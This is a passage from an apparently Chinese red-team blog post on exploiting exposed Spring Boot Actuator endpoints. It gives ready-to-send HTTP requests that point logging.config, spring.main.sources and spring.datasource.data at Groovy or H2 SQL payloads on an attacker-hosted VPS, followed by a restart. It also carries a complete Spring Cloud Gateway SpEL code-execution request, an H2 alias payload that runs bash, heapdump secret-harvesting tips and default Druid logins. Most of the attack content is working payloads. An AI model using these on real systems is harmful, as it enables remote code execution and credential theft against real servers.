注:1、目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出

​ 2、 HTTP 服务器如果返回含有畸形 groovy 语法内容的文件,会导致程序异常退出

​ 3、环境中需要存在 groovy 依赖,否则会导致程序异常退出

托管groovy文件

并在里面输入要执行的命令

1
Runtime.getRuntime().exec(" Calculator");

设置logging.config属性

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

logging.config=http://your-vps-ip/example.groovy

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"logging.config","value":"http://your-vps-ip/example.groovy"}

访问/restart接口重启

spring 1.x

1
2
3
4
POST /restart
Content-Type: application/x-www-form-urlencoded

{"name":"logging.config"}

spring 2.x

1
2
3
4
POST /actuator/restart
Content-Type: application/json

{"name":"logging.config"}

16、spring.main.source的groovyRCE /restart

1、可以 POST 请求目标网站的/env`接口设置属性

2、可以 POST 请求目标网站的/restart接口重启应用

3、目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出

4、HTTP 服务器如果返回含有畸形 groovy 语法内容的文件,会导致程序异常退出

5、 环境中需要存在 groovy 依赖,否则会导致程序异常退出

托管groovy文件

并在里面输入要执行的命令

1
Runtime.getRuntime().exec("open -a Calculator");

设置 spring.main.sources 属性

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

spring.main.sources=http://your-vps-ip/example.groovy

sping 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}

重启应用

spring 1.x

1
2
POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
3
4
POST /actuator/restart
Content-Type: application/json

{"name":"spring.main.sources"}

17、spring.datasource.data 基于h2数据库的RCE /restart

1、可以POST请求/env接口

2、可以POST请求/restart接口

3、需要存在h2数据库、spring-boot-starter-data-jpa相关依赖

4、必须出网,否则会程序异常退出

5、含有畸形h2的sql语法内容文件也会导致程序异常退出

托管sql文件

在vps上开一个服务器,存放sql文件进去,便于下载

sql文件的内容如下

1
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');

注:以上的T5在/restart一次之后必须要更改,比如T6、T7,否则在T5进行/restart后再次执行会导致程序异常退出

设置spring.datasource.data属性

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.data=http://your-vps-ip/example.sql

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}

重启应用

spring 1.x

1
2
POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/restart
Content-Type: application/json

18、Spring Cloud Gateway RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host:x.x.x.x:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

返回的数据包出现201时则代表创建路由成功

1
2
3
4
5
6
7
8
9
10
POST /actuator/gateway/refresh/ HTTP/1.1
Host: 192.168.3.58:8081
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


通过发送该数据包后访问创建的新路由则回显命令执行结果

![](/Users/wh1t3zer/Library/Application Support/typora-user-images/image-20240824151431553.png)

19、heapdump文件下载导致敏感信息泄露

在Spring Boot中,Heapdump主要用于监控和诊断应用程序的内存使用情况,尤其是在处理内存泄漏、内存溢出(OutOfMemoryError)等内存相关问题时。也就是说可以通过工具获取到heapdump的堆栈信息,操作系统、环境变量还有账号密码等敏感信息。

20、druid数据连接池

比较大部分的企业都会嵌入druid数据连接池到springboot项目中,用于监控数据库的操作行为、数据源等。一般常为/druid/index.html或者/druid/login.html,容易出现弱口令访问或者未授权访问,账号密码一般是admin/123456,若依的则是ruoyi/123456

在若依框架基础上,对druid的路径有所修改,一般后端服务会基于环境api路径,如prod-api,dev-api,观察数据包请求的路径,需要加上这一个

/prod-api/druid/index.html

/dev-api/druid/index.html

0x03总结

观察这一系列漏洞可以发现,有几个接口是比较常用的

/env 、**/actuator/env**

常用于泄露环境变量、内网地址、用户名密码信息等

/refresh、**/actuator/refresh**

用于通过POST请求刷新方法实现RCE

/restart、**/actuator/restart**

先通过POST到/env接口后,再用POST请求restart接口实现RCE

/jolokia、**/actuator/jolokia**

可以解决在/env接口中的星号密码信息问题,通过寻找MBean,触发相关的RCE

/trace、**/actuator/httptrace**

跟踪信息,可能获得管理员的cookies、jwt,请求信息

/heapdump

可以直接下载heapdump文件,用工具解密里面内容

/druid/login.html、**/druid/index.html**

访问数据连接池,获得数据源信息、sql操作日志、session和接口访问日志

常见弱口令admin/123456、ruoyi/123456

Prev:
某HW红队复盘
Next:
UAC初探&Bypass
catalog
catalog